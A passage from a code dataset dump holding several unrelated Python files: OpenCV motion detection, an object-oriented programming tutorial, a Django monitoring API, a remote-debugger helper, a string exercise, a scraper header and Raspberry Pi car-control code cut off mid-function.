cv2.imshow('thresh',thresh)\r\n\r\n dilated = cv2.dilate(thresh, None, iterations=2)\r\n cv2.imshow('dilated',dilated)\r\n\r\n (_, cnts, _) = cv2.findContours(dilated.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n frame2 = frame.copy()\r\n for c in cnts:\r\n # if the contour is too small, ignore it\r\n if cv2.contourArea(c) < 20:\r\n continue\r\n \r\n # compute the bounding box for the contour, draw it on the frame,\r\n # and update the text\r\n (x, y, w, h) = cv2.boundingRect(c)\r\n cv2.rectangle(frame2, (x, y), (x + w, y + h), (0, 255, 0), 2)\r\n\r\n cv2.imshow('cam2',frame2)\r\n \r\n\r\n count = cv2.countNonZero(thresh);\r\n if moving :\r\n if (count < lowerbound):\r\n moving = False\r\n filename = str(tmpFileCounter)\r\n tag = filename = filename.rjust(8,'0')\r\n cv2.imshow(filename,frame)\r\n filename = filename + \".png\"\r\n print (filename + \"\\a\")\r\n filename = os.path.join (tmpFolder, filename)\r\n tmpFileCounter+=1\r\n cv2.imwrite(filename,frame)\r\n\r\n # using findContours func to find the none-zero pieces\r\n #(_,cnts, hierarchy) = cv2.findContours(\r\n # step1.copy(),cv2.RETR_LIST,cv2.CHAIN_APPROX_SIMPLE)\r\n ret,thresh = cv2.threshold(step1,127,255,0)\r\n _ , cnts,hierarchy = cv2.findContours(thresh, 1, 2)\r\n\r\n chunkCounter = 0\r\n frame3 = frame.copy()\r\n for c in cnts:\r\n size = cv2.contourArea(c)\r\n if size >1000 and size < 5000:\r\n (x, y, w, h) = cv2.boundingRect(c)\r\n chunkfilename = os.path.join(\r\n tmpFolder, tag + \"-\" + str(chunkCounter).rjust(4,'0') + \".png\")\r\n cv2.rectangle(frame3, (x, y), (x + w, y + h), (0, 255, 0), 2)\r\n roi = frame[y:y+h, x:x+w]\r\n target_h = h\r\n if target_h < 50 : target_h = 50\r\n target_w = w\r\n if target_w < 50 : target_w = 50\r\n target_img = np.zeros((target_h,target_w,3), np.uint8)\r\n target_img[:roi.shape[0], :roi.shape[1]]=roi\r\n cv2.imwrite(chunkfilename, target_img)\r\n chunkCounter+=1\r\n cv2.imshow(tag + \" areas\",frame3)\r\n else:\r\n if (count > upperbound):\r\n moving = True\r\n\r\nif not timed:\r\n while (True):\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n\r\n# Release video source\r\ncap.release()\r\ncv2.destroyAllWindows()","sub_path":"trucks/processing05.py","file_name":"processing05.py","file_ext":"py","file_size_in_byte":5586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"75889281","text":"# ---------- LEARN TO PROGRAM 9 ----------\n\n# Real world objects have attributes and capabilities\n\n# A dog for example has the attributes of height, weight\n# favorite food, etc.\n\n# It has the capability to run, bark, scratch, etc.\n\n# In object oriented programming we model real world objects\n# be defining the attributes (fields) and capabilities (methods)\n# that they have.\n\n# A class is the template used to model these objects\n# Here we will model a Dog object\n\n'''class Dog:\n\n # The init method is called to create an object\n # We give default values for the fields if none\n # are provided\n def __init__(self, name=\"\", height=0, weight=0):\n\n # self allows an object to refer to itself\n # It is like how you refer to yourself with my\n\n # We will take the values passed in and assign\n # them to the new Dog objects fields (attributes)\n self.name = name\n self.height = height\n self.weight = weight\n\n # Define what happens when the Dog is asked to\n # demonstrate its capabilities\n\n def run(self):\n print(\"{} the dog runs\".format(self.name))\n\n def eat(self):\n print(\"{} the dog eats\".format(self.name))\n\n def bark(self):\n print(\"{} the dog barks\".format(self.name))\n\n\ndef main():\n\n # Create a new Dog object\n spot = Dog(\"Spot\", 66, 26)\n\n spot.bark()\n\n bowser = Dog()\n\nmain()\n\n\n# ---------- GETTERS & SETTERS ----------\n# Getters and Setters are used to protect our objects\n# from assigning bad fields or for providing improved\n# output\n\nclass Square:\n def __init__(self, height=\"0\", width=\"0\"):\n self.height = height\n self.width = width\n\n # This is the getter\n @property\n def height(self):\n print(\"Retrieving the height\")\n\n # Put a __ before this private field\n return self.__height\n\n # This is the setter\n @height.setter\n def height(self, value):\n\n # We protect the height from receiving a bad value\n if value.isdigit():\n\n # Put a __ before this private field\n self.height = value\n else:\n print(\"Please only enter numbers for height\")\n\n # This is the getter\n @property\n def width(self):\n print(\"Retrieving the width\")\n return self.__width\n\n # This is the setter\n @width.setter\n def width(self, value):\n if value.isdigit():\n self.__width = value\n else:\n print(\"Please only enter numbers for width\")\n\n def getArea(self):\n return int(self.__width) * int(self.__height)\n\n\ndef main():\n aSquare = Square()\n\n height = input(\"Enter height : \")\n width = input(\"Enter width : \")\n\n aSquare.height = height\n aSquare.width = width\n\n print(\"Height :\", aSquare.height)\n print(\"Width :\", aSquare.width)\n\n print(\"The Area is :\", aSquare.getArea())\n\n\nmain()'''\n\n# ---------- WARRIORS BATTLE ----------\n# We will create a game with this sample output\n'''\nSam attacks Paul and deals 9 damage\nPaul is down to 10 health\nPaul attacks Sam and deals 7 damage\nSam is down to 7 health\nSam attacks Paul and deals 19 damage\nPaul is down to -9 health\nPaul has Died and Sam is Victorious\nGame Over\n'''\n\n# We will create a Warrior & Battle class\n\nimport random\nimport math\n\n# Warriors will have names, health, and attack and block maximums\n# They will have the capabilities to attack and block random amounts\nclass Warrior:\n def __init__(self, name=\"warrior\", health=0, attkMax=0, blockMax=0):\n self.name = name\n self.health = health\n self.attkMax = attkMax\n self.blockMax = blockMax\n\n def attack(self):\n # Randomly calculate the attack amount\n # random() returns a value from 0.0 to 1.0\n attkAmt = self.attkMax * (random.random() + .5)\n\n return attkAmt\n\n def block(self):\n\n # Randomly calculate how much of the attack was blocked\n blockAmt = self.blockMax * (random.random() + .5)\n\n return blockAmt\n\n# The Battle class will have the capability to loop until 1 Warrior dies\n# The Warriors will each get a turn to attack each turn\n\nclass Battle:\n\n def startFight(self, warrior1, warrior2):\n\n # Continue looping until a Warrior dies switching back and\n # forth as the Warriors attack each other\n while True:\n if self.getAttackResult(warrior1, warrior2) == \"Game Over\":\n print(\"Game Over\")\n break\n\n if self.getAttackResult(warrior2, warrior1) == \"Game Over\":\n print(\"Game Over\")\n break\n\n # A function will receive each Warrior that will attack the other\n # Have the attack and block amounts be integers to make the results clean\n # Output the results of the fight as it goes\n # If a Warrior dies return that result to end the looping in the\n # above function\n\n # Make this method static because we don't need to use self\n @staticmethod\n def getAttackResult(warriorA, warriorB):\n warriorAAttkAmt = warriorA.attack()\n\n warriorBBlockAmt = warriorB.block()\n\n damage2WarriorB = math.ceil(warriorAAttkAmt - warriorBBlockAmt)\n\n warriorB.health = warriorB.health - damage2WarriorB\n\n print(\"{} attacks {} and deals {} damage\".format(warriorA.name,\n warriorB.name, damage2WarriorB))\n\n print(\"{} is down to {} health\".format(warriorB.name,\n warriorB.health))\n\n if warriorB.health <= 0:\n print(\"{} has Died and {} is Victorious\".format(warriorB.name,\n warriorA.name))\n\n return \"Game Over\"\n else:\n return \"Fight Again\"\n\n\ndef main():\n\n # Create 2 Warriors\n paul = Warrior(\"Paul\", 50, 20, 10)\n sam = Warrior(\"Sam\", 50, 20, 10)\n\n # Create Battle object\n battle = Battle()\n\n # Initiate Battle\n battle.startFight(paul, sam)\n\nmain()\n\n\n# When we create a class we can inherit all of the fields and methods\n# from another class. This is called inheritance.\n\n# The class that inherits is called the subclass and the class we\n# inherit from is the super class\n\n# This will be our super class\nclass Animal:\n def __init__(self, birthType=\"Unknown\",\n appearance=\"Unknown\",\n blooded=\"Unknown\"):\n self.__birthType = birthType\n self.__appearance = appearance\n self.__blooded = blooded\n\n # The getter method\n @property\n def birthType(self):\n # When using getters and setters don't forget the __\n return self.__birthType\n\n @birthType.setter\n def birthType(self, birthType):\n self.__birthType = birthType\n\n @property\n def appearance(self):\n return self.__appearance\n\n @appearance.setter\n def appearance(self, appearance):\n self.__appearance = appearance\n\n @property\n def blooded(self):\n return self.__blooded\n\n @blooded.setter\n def blooded(self, blooded):\n self.__blooded = blooded\n\n # Can be used to cast our object as a string\n # type(self).__name__ returns the class name\n def __str__(self):\n return \"A {} is {} it is {} it is \" \\\n \"{}\".format(type(self).__name__,\n self.birthType,\n self.appearance,\n self.blooded)\n\n\n# Create a Mammal class that inherits from Animal\n# You can inherit from multiple classes by separating\n# the classes with a comma in the parentheses\nclass Mammal(Animal):\n def __init__(self, birthType=\"born alive\",\n appearance=\"hair or fur\",\n blooded=\"warm blooded\",\n nurseYoung=True):\n # Call for the super class to initialize fields\n Animal.__init__(self, birthType,\n appearance,\n blooded)\n\n self.__nurseYoung = nurseYoung\n\n # We can extend the subclasses\n @property\n def nurseYoung(self):\n return self.__nurseYoung\n\n @nurseYoung.setter\n def appearance(self, nurseYoung):\n self.__nurseYoung = nurseYoung\n\n # Overwrite __str__\n # You can use super() to refer to the superclass\n def __str__(self):\n return super().__str__() + \" and it is {} they nurse \" \\\n \"their young\".format(self.nurseYoung)\n\n\nclass Reptile(Animal):\n def __init__(self, birthType=\"born in an egg or born alive\",\n appearance=\"dry scales\",\n blooded=\"cold blooded\"):\n # Call for the super class to initialize fields\n Animal.__init__(self, birthType,\n appearance,\n blooded)\n\n # Operator overloading isn't necessary in Python because\n # Python allows you to enter unknown numbers of values\n # Always make sure self is the first attribute in your\n # class methods\n def sumAll(self, *args):\n sum = 0\n\n for i in args:\n sum += i\n\n return sum\n\n\ndef main():\n animal1 = Animal(\"born alive\")\n\n print(animal1.birthType)\n\n # Call __str__()\n print(animal1)\n print()\n\n mammal1 = Mammal()\n\n print(mammal1)\n\n print(mammal1.birthType)\n print(mammal1.appearance)\n print(mammal1.blooded)\n print(mammal1.nurseYoung)\n print()\n\n reptile1 = Reptile()\n\n print(reptile1.birthType)\n print(reptile1.appearance)\n print(reptile1.blooded)\n print()\n\n # Operator overloading in Python\n print(\"Sum : {}\".format(reptile1.sumAll(1, 2, 3, 4, 5)))\n\n # Polymorphism in Python works differently from other\n # languages in that functions accept any object\n # and expect that object to provide the needed method\n\n # This isn't something to dwell on. Just know that\n # if you call on a method for an object that the\n # method just needs to exist for that object to work.\n # Polymorphism is a big deal in other languages that\n # are statically typed (type is defined at declaration)\n # but because Python is dynamically typed (type defined\n # when a value is assigned) it doesn't matter as much.\n\n def getBirthType(theObject):\n print(\"The {} is {}\".format(type(theObject).__name__,\n theObject.birthType))\n\n getBirthType(mammal1)\n getBirthType(reptile1)\n\n\nmain()\n\n\n# ---------- MAGIC METHODS ----------\n# Magic methods are surrounded by double underscores\n# We can use magic methods to define how operators\n# like +, -, *, /, ==, >, <, etc. will work with our\n# custom objects\n\n# Magic methods are used for operator overloading\n# in Python\n\n# __eq__ : Equal\n# __ne__ : Not Equal\n# __lt__ : Less Than\n# __gt__ : Greater Than\n# __le__ : Less Than or Equal\n# __ge__ : Greater Than or Equal\n# __add__ : Addition\n# __sub__ : Subtraction\n# __mul__ : Multiplication\n# __div__ : Division\n# __mod__ : Modulus\n\nclass Time:\n def __init__(self, hour=0, minute=0, second=0):\n self.hour = hour\n self.minute = minute\n self.second = second\n\n # Magic method that defines the string format of the object\n def __str__(self):\n\n # :02d adds a leading zero to have a minimum of 2 digits\n return \"{}:{:02d}:{:02d}\".format(self.hour, self.minute, self.second)\n\n def __add__(self, other_time):\n\n new_time = Time()\n\n # ---------- PROBLEM ----------\n # How would you go about adding 2 times together?\n\n # Add the seconds and correct if sum is >= 60\n if (self.second + other_time.second) >= 60:\n self.minute += 1\n new_time.second = (self.second + other_time.second) - 60\n else:\n new_time.second = self.second + other_time.second\n\n # Add the minutes and correct if sum is >= 60\n if (self.minute + other_time.minute) >= 60:\n self.hour += 1\n new_time.minute = (self.minute + other_time.minute) - 60\n else:\n new_time.minute = self.minute + other_time.minute\n\n # Add the minutes and correct if sum is > 60\n\n if (self.hour + other_time.hour) > 24:\n new_time.hour = (self.hour + other_time.hour) - 24\n else:\n new_time.hour = self.hour + other_time.hour\n\n return new_time\n\n\ndef main():\n time1 = Time(1, 20, 30)\n\n print(time1)\n\n time2 = Time(24, 41, 30)\n\n print(time1 + time2)\n\n # For homework get the Time objects to work for the other\n # mathematical and comparison operators\n\n\nmain()","sub_path":"derek.py","file_name":"derek.py","file_ext":"py","file_size_in_byte":12516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"88775266","text":"\"\"\"\n网站监控API 给数据采集器用来增删查改数据库用,调用前需要检测数据采集器是否合法。\n\"\"\"\nfrom django.shortcuts import render,redirect,HttpResponse\nfrom django.db.models import Q\nfrom django.forms.models import model_to_dict\nfrom webmoni.models import MonitorData\nfrom webmoni.models import DomainName\nfrom webmoni.models import Project\nfrom webmoni.models import Node\nfrom webmoni.models import Event_Type\nfrom webmoni.models import Event_Log\nfrom webmoni.models import MonitorData\n\nfrom webmoni.publicFunc import API_verify\nimport datetime\nimport json\n\n\ndef domain_all(request):\n if request.method == 'POST':\n data = {}\n\n node_id = request.POST.get('node')\n client_ip = request.META['REMOTE_ADDR']\n if API_verify(node_id,client_ip):\n data['status'] = 'OK'\n data['data'] = list(DomainName.objects.all().values())\n return HttpResponse(json.dumps(data))\n else:\n data['status'] = 'error'\n return HttpResponse(json.dumps(data))\n if request.method == 'GET':\n return HttpResponse('连接拒绝')\n\n\ndef event_type(request):\n if request.method == 'POST':\n data = {}\n\n node_id = request.POST.get('node')\n client_ip = request.META['REMOTE_ADDR']\n if API_verify(node_id,client_ip):\n data['status'] = 'OK'\n data['data'] = list(Event_Type.objects.all().values())\n return HttpResponse(json.dumps(data))\n else:\n data['status'] = 'error'\n return HttpResponse(json.dumps(data))\n if request.method == 'GET':\n return HttpResponse('连接拒绝')\n\n\n\ndef normal_domain(request):\n if request.method == 'POST':\n normalData = json.loads(request.POST.get('normalData'))\n print(normalData['data'])\n client_ip = request.META['REMOTE_ADDR']\n if API_verify(normalData.get('node'),client_ip):\n MonitorData.objects.create(**normalData['data'])\n return HttpResponse('OK')\n else:\n return HttpResponse('出错啦')\n if request.method == 'GET':\n return HttpResponse('连接拒绝')\n\n\ndef fault_domain(request):\n if request.method == 'POST':\n\n faultData = json.loads(request.POST.get('faultData'))\n print(faultData['data'])\n client_ip = request.META['REMOTE_ADDR']\n if API_verify(faultData.get('node'),client_ip):\n MonitorData.objects.create(**faultData['data'])\n DomainName.objects.filter(id=faultData['url_id']).update(**faultData['domain'])\n Event_Log.objects.create(**faultData['event_log'])\n return HttpResponse('OK')\n else:\n return HttpResponse('ERROR')\n if request.method == 'GET':\n return HttpResponse('连接拒绝')\n\ndef cert_update(request):\n if request.method == 'POST':\n cert_info = json.loads(request.POST.get('cert_info'))\n print(cert_info['data'])\n client_ip = request.META['REMOTE_ADDR']\n if API_verify(cert_info.get('node'),client_ip):\n DomainName.objects.filter(id=cert_info['url_id']).update(**cert_info['data'])\n return HttpResponse('OK')\n else:\n return HttpResponse('ERROR')\n if request.method == 'GET':\n return HttpResponse('连接拒绝')","sub_path":"9/OPcenter-verifyCode/webmoni/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"534281047","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Copyright 2014-2015 Canonical Limited.\n#\n# This file is part of charm-helpers.\n#\n# charm-helpers is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License version 3 as\n# published by the Free Software Foundation.\n#\n# charm-helpers is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with charm-helpers. If not, see .\n\nfrom __future__ import print_function\n\n__author__ = \"Jorge Niedbalski \"\n\nimport atexit\nimport sys\n\nfrom charmhelpers.contrib.python.rpdb import Rpdb\nfrom charmhelpers.core.hookenv import (\n open_port,\n close_port,\n ERROR,\n log\n)\n\nDEFAULT_ADDR = \"0.0.0.0\"\nDEFAULT_PORT = 4444\n\n\ndef _error(message):\n log(message, level=ERROR)\n\n\ndef set_trace(addr=DEFAULT_ADDR, port=DEFAULT_PORT):\n \"\"\"\n Set a trace point using the remote debugger\n \"\"\"\n atexit.register(close_port, port)\n try:\n log(\"Starting a remote python debugger session on %s:%s\" % (addr,\n port))\n open_port(port)\n debugger = Rpdb(addr=addr, port=port)\n debugger.set_trace(sys._getframe().f_back)\n except:\n _error(\"Cannot start a remote debug session on %s:%s\" % (addr,\n port))\n","sub_path":"nova-compute/hooks/charmhelpers/contrib/python/debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"654507843","text":"'''\nCommon Alphabets\nGiven list of strings. The task is to find the frequency of the elements which are common in all strings given in the list of strings.\n\nInput:\nFirst line contains N, number of strings.\n\nNext N lines contians a string in each line.\n\nOutput:\nN linese each line contains an alphabet and it's frequency in sorted order for each of the input string.\n\nalphabet and the frequency are separated by a space\n\nProblem Constraints:\n1<=A.length<=500\n\n1<=A[0].length<=100\n\nExamples:\nInput :\n\n3\n\ngefgek\n\ngfgk\n\nkinfgg\n\nOutput :\n\nf 1\n\ng 2\n\nk 1\n\nExplanation :\nf occurs once in all Strings.\n\ng occurs twice in all the strings.\n\nk occurs once in all string.\n\nOutput is in ascending order\n'''\n# your code goes here\nfrom collections import defaultdict,Counter\nn=int(input())\nstrarr=[]\nfor i in range(n):\n\tstrarr.append(input())\nd=Counter(strarr[0])\nfor i in range(1,n):\n\ttemp=Counter(strarr[i])\n\tfor i in d:\n\t\tif temp[i]==0:\n\t\t\td[i]=-1\n\t\telse:\n\t\t\td[i]=min(d[i],temp[i])\nfor key,value in sorted(d.items()):\n\tif value!=-1:\n\t\tprint(key,value)","sub_path":"Common Alphabets.py","file_name":"Common Alphabets.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"409982569","text":"import urllib2 as url\r\nimport os\r\n\r\nhdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',\r\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\r\n 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',\r\n 'Accept-Encoding': 'none',\r\n 'Accept-Language': 'en-US,en;q=0.8',\r\n 'Connection': 'keep-alive'}\r\n\r\nlist_of_translations = [('51','delut'),('73','hfa'),('108','ngu2011'),('158','sch51'),('877','nbh'),('65','gantp'),('58','elb71'),('57','elb'),('157','sch2000')]\r\n\r\n\r\nf = open(\"links.txt\", 'r')\r\ni = 0\r\nchapter_list = []\r\nfor r in f:\r\n if \"href='\" in r and \"> Barrier is detected !\")\n\t\treturn True\n\t\n\treturn False\n\n\ndef Distance(): \n\t# Set Trigger to HIGH\n\tGPIO.output(GPIO_TRIGGER, True)\n\t\n\t# Set Trigger after 0.01ms to low \n\ttime.sleep(0.00001)\n\tGPIO.output(GPIO_TRIGGER, False)\n\t\n\tStartTime = time.time()\n\t\n\tcount = 0\n\t\n\t# Save time of StartTime \n\twhile (GPIO.input(GPIO_ECHO) == 0): \n\t\tStartTime = time.time()\n\t\t\n\t\tcount += 1\n\t\tif (count >= 1000): \n\t\t\tbreak\n\t\t\n\t\t\n\t# print(\"Count : \", count)\n\t\n\t\n\tStopTime = time.time()\t\n\t\n\t\n\tcount = 0\n\t\t\n\t# Save time of arrival \n\twhile (GPIO.input(GPIO_ECHO) == 1) : \n\t\tStopTime = time.time()\n\t\t\n\t\tcount += 1\n\t\tif (count >= 1000): \n\t\t\tbreak\n\t\n\t\n\t\t\n\t# Time difference between start and arrival\n\tTimeElapsed = StopTime - StartTime \n\t\n\t# Multiply with the sonic speed (34300 cm/s)\n\t# And divided by 2, because sent and back \n\tdistance = (TimeElapsed * 34300) / 2\n\t\n\treturn distance\n\t\ndef Left_LineTracking(): \n\t\n\t\n\tif GPIO.input(D1) == GPIO.LOW : \n\t\t# print(\"[!] Left (D1): White\")\n\t\treturn False\t\n\telse : \n\t\t# print(\"[-] D1: BLackkkk Line Found ...\")\n\t\treturn True\t\n\t\t\ndef Right_LineTracking(): \n\t\n\t\n\tif GPIO.input(D2) == GPIO.LOW : \n\t\t# print(\"[@] (Right) D2: White ...\")\n\t\treturn False\n\telse : \n\t\t# print(\"[-] D2: BLackkkk Line Found ...\")\n\t\treturn True\t\t\n\t\t\ndef Left_ObstecleTracking(): \n\t\t\n\tif GPIO.input(D3) == GPIO.LOW : \n\t\t# print(\"[-] D3: Object found on Left side ...\")\n\t\treturn True\t\t\n\telse : \n\t\t# print(\"[!] Left (D3): Object detected on Left side\")\n\t\treturn False\n\t\t\ndef Right_ObstecleTracking(): \n\t\t\n\tif GPIO.input(D4) == GPIO.LOW : \n\t\t# print(\"[-] D4: Object found on Right side ...\")\n\t\treturn True\t\t\n\telse : \n\t\t# print(\"[!] Left (D4): Object NOTTTTT detected on Right side\")\n\t\treturn False\t\t\t\t\n\t\t\n\n\t\t\t\ndef Forward(cusDuty): \n\t# print(\"forward\")\n\t# Motor 1 \n\tGPIO.output(in1,GPIO.HIGH)\n\tGPIO.output(in2,GPIO.LOW)\n\t\n\tp.ChangeDutyCycle(cusDuty)\n\t\n\t\n\t\n\t\ndef Backward(cusDuty): \n\t# print(\"backward\")\n\t# Motor 1 \n\tGPIO.output(in1,GPIO.LOW)\n\tGPIO.output(in2,GPIO.HIGH)\n\t\n\tp.ChangeDutyCycle(cusDuty)\n\t\n\t\n\ndef WheelStraight(): \n\t# print(\"WheelStraight\")\n\t\n\tGPIO.output(in3,GPIO.LOW)\n\tGPIO.output(in4,GPIO.LOW)\n\ndef GoRight(cusDuty): \n\t# print(\"Right\")\n\t\n\tGPIO.output(in3,GPIO.LOW)\n\tGPIO.output(in4,GPIO.HIGH)\n\t\n\t\n\tp2.ChangeDutyCycle(cusDuty)\n\t\n\t\ndef GoLeft(cusDuty): \n\t# print(\"Left\")\n\t\n\tGPIO.output(in3,GPIO.HIGH)\n\tGPIO.output(in4,GPIO.LOW)\n\t\t\n\tp2.ChangeDutyCycle(cusDuty)\n\t\n\t\ndef Go_Forward_Left(custDutyTurn, custDutyMotor): \n\tprint(\"[/|\\ <-] Go Backward and Left\")\n\t## Go Left\n\tGPIO.output(in3,GPIO.HIGH)\n\tGPIO.output(in4,GPIO.LOW)\n\t\t\n\tp2.ChangeDutyCycle(custDutyTurn)\n\t\n\t# Forward\n\t# Motor 1 \n\tGPIO.output(in1,GPIO.HIGH)\n\tGPIO.output(in2,GPIO.LOW)\n\t\n\tp.ChangeDutyCycle(custDutyMotor)\n\t\ndef Go_Forward_Right(custDutyTurn, custDutyMotor): \n\tprint(\"[/|\\ ->] Go Backward and Right\")\n\t## Go Right\n\tGPIO.output(in3,GPIO.LOW)\n\tGPIO.output(in4,GPIO.HIGH)\n\t\t\n\tp2.ChangeDutyCycle(custDutyTurn)\n\t\n\t# Forward\n\t# Motor 1 \n\tGPIO.output(in1,GPIO.HIGH)\n\tGPIO.output(in2,GPIO.LOW)\n\t\n\tp.ChangeDutyCycle(custDutyMotor)\n\t\ndef Go_Backward_Left(custDutyTurn, custDutyMotor): \n\t\n\tprint(\"[\\|/ <-] Go Backward and Left\")\n\t''''''\n\t## Go Left\n\tGPIO.output(in3,GPIO.HIGH)\n\tGPIO.output(in4,GPIO.LOW)\n\t\t\n\tp2.ChangeDutyCycle(custDutyTurn)\n\t\n\t## Backward\n\tGPIO.output(in1,GPIO.LOW)\n\tGPIO.output(in2,GPIO.HIGH)\n\t\n\tp.ChangeDutyCycle(custDutyMotor)\n\t''''''\n\t\ndef Go_Backward_Right(custDutyTurn, custDutyMotor): \n\tprint(\"[\\|/ ->] Go Backward and Right\")\n\t''''''\n\t## Go Right\n\tGPIO.output(in3,GPIO.LOW)\n\tGPIO.output(in4,GPIO.HIGH)\n\t\t\n\tp2.ChangeDutyCycle(custDutyTurn)\n\t\n\t## Backward\n\tGPIO.output(in1,GPIO.LOW)\n\tGPIO.output(in2,GPIO.HIGH)\n\t\n\tp.ChangeDutyCycle(custDutyMotor)\n\t\ndef Go_Forward_Straight(custDutyTurn, custDutyMotor): \n\t\n\tprint(\"[/|\\ /|\\] Go Forward and Straight\")\n\t## Wheel Straight\n\tGPIO.output(in3,GPIO.LOW)\n\tGPIO.output(in4,GPIO.LOW)\n\t\n\t# Forward\n\t# Motor 1 \n\tGPIO.output(in1,GPIO.HIGH)\n\tGPIO.output(in2,GPIO.LOW)\n\t\ndef Go_Backward_Straight(custDutyTurn, custDutyMotor): \n\t\n\tprint(\"[\\|/ /|\\] Go Backward and Straight\")\n\t## Wheel Straight\n\tGPIO.output(in3,GPIO.LOW)\n\tGPIO.output(in4,GPIO.LOW)\n\t\n\t## Backward\n\tGPIO.output(in1,GPIO.LOW)\n\tGPIO.output(in2,GPIO.HIGH)\n\t\t\n\t\ndef StopMortors(): \n\tprint(\"All motors stop\")\n\tGPIO.output(in1,GPIO.LOW)\n\tGPIO.output(in2,GPIO.LOW)\n\tGPIO.output(in3,GPIO.LOW)\n\tGPIO.output(in4,GPIO.LOW)\n\t\ndef IsLight(): \n\treturn GPIO.input(LIGHT_PIN)\t\n\t\n\t\ndef DriveWithObjectDetection(dist):\n\t\n\tspeedDown25 = 10\n\tspeedDown31 = 20\n\tspeedDown41 = 40\n\tspeedDown61 = 90\n\t\n\tmotorSpeed = 100\t\t\t\n\t\t\t\t\t\n\t# An object detected \n\tif (dist < 30):\n\t\t\n\t\t\n\t\tif (isBarrierLeft and (not isBarrierRight)):\n\t\t\tStopMortors()\n\t\t\ttime.sleep(0.1)\n\n\t\t\t\n\t\t\tmotorSpeed = 100\n\t\t\t\n\t\t\tGo_Backward_Left(turnSpeed, motorSpeed)\n\t\t\ttime.sleep(1.25)\n\t\t\t\n\t\tif ((not isBarrierLeft) and isBarrierRight): \n\t\t\tStopMortors()\n\t\t\ttime.sleep(0.1)\n\n\t\t\t\n\t\t\tmotorSpeed = 100\n\t\t\t\n\t\t\tGo_Backward_Right(turnSpeed, motorSpeed)\n\t\t\ttime.sleep(1.25)\n\t\t\t\n\t\tif (isBarrierLeft and isBarrierRight): \n\t\t\t\n\t\t\tStopMortors()\n\t\t\ttime.sleep(0.1)\n\n\t\t\tmotorSpeed = 100\n\t\t\tGo_Backward_Straight(turnSpeed, motorSpeed)\n\t\t\ttime.sleep(1.25)\n\t\t\t\n\t\n\telif (dist >= 25 and dist <= 30): \n\t\t\n\t\t\n\t\tmotorSpeed = 10\n\t\t\n\t\t\n\t\tif (isBarrierLeft and (not isBarrierRight)):\n\t\t\t# print(\"LEFFFFFFFFFFFFFFFFFFFF_T\")\n\t\t\tGo_Forward_Right(turnSpeed, speedDown25)\n\t\t\t\n\t\telif ((not isBarrierLeft) and isBarrierRight): \n\t\t\t# print(\"RIGGGGGGGGGGGGGGGGGGGGG_T\")\n\t\t\tGo_Forward_Left(turnSpeed, speedDown25)\n\t\t\t\n\t\telse: \n\t\t\tStopMortors()\n\t\t\ttime.sleep(0.5)\n\t\t\tGo_Forward_Straight(turnSpeed, speedDown25)\n\t\t\t\n\t\tspeedDown25 -= 2\n\t\t\n\t\t\n\t\tif speedDown25 <= 0: \n\t\t\tspeedDown25 = 10\n\t\n\t\t\t\n\telif (dist >= 31 and dist <= 40): \n\t\t\n\t\t\n\t\tmotorSpeed = 30\n\t\t\n\t\tif (isBarrierLeft and (not isBarrierRight)):\n\t\t\t# print(\"LEFFFFFFFFFFFFFFFFFFFF_T\")\n\t\t\tGo_Forward_Right(turnSpeed, speedDown31)\n\t\t\t\n\t\telif ((not isBarrierLeft) and isBarrierRight): \n\t\t\t# print(\"RIGGGGGGGGGGGGGGGGGGGGG_T\")\n\t\t\tGo_Forward_Left(turnSpeed, speedDown31)\n\t\t\t\n\t\telse: \n\t\t\tGo_Forward_Straight(turnSpeed, speedDown31)\n\t\t\t\n\t\tspeedDown31 -= 10\n\t\t\n\t\tif speedDown31 <= 0: \n\t\t\tspeedDown31 = 30\n\t\t\t\n\t\t\t\n\telif (dist >= 41 and dist <= 60): \n\t\t\n\t\t\n\t\tmotorSpeed = 40\n\t\t\n\t\tif (isBarrierLeft and (not isBarrierRight)):\n\t\t\t# print(\"LEFFFFFFFFFFFFFFFFFFFF_T\")\n\t\t\tGo_Forward_Right(turnSpeed, speedDown41)\n\t\t\t\n\t\telif ((not isBarrierLeft) and isBarrierRight): \n\t\t\t# print(\"RIGGGGGGGGGGGGGGGGGGGGG_T\")\n\t\t\tGo_Forward_Left(turnSpeed, speedDown41)\n\t\t\t\n\t\telse: \n\t\t\tGo_Forward_Straight(turnSpeed, speedDown41)\n\t\t\t\n\t\tspeedDown41 -= 10\n\t\t\t\n\t\tif speedDown41 <= 0: \n\t\t\tspeedDown41 = 40\n\t\t\n\telif (dist >= 60 and dist <= 100):\n\t\t\t\t\t\t\t\n\t\t\n\t\tif (isBarrierLeft and (not isBarrierRight)):\n\t\t\t# print(\"LEFFFFFFFFFFFFFFFFFFFF_T\")\n\t\t\tGo_Forward_Right(turnSpeed, speedDown61)\n\t\t\t\n\t\telif ((not isBarrierLeft) and isBarrierRight): \n\t\t\t# print(\"RIGGGGGGGGGGGGGGGGGGGGG_T\")\n\t\t\tGo_Forward_Left(turnSpeed, speedDown61)\n\t\t\t\n\t\telse: \n\t\t\tGo_Forward_Straight(turnSpeed, speedDown61)\n\t\t\t\n\t\tspeedDown61 -= 10\n\t\t\t\n\t\tif speedDown61 <= 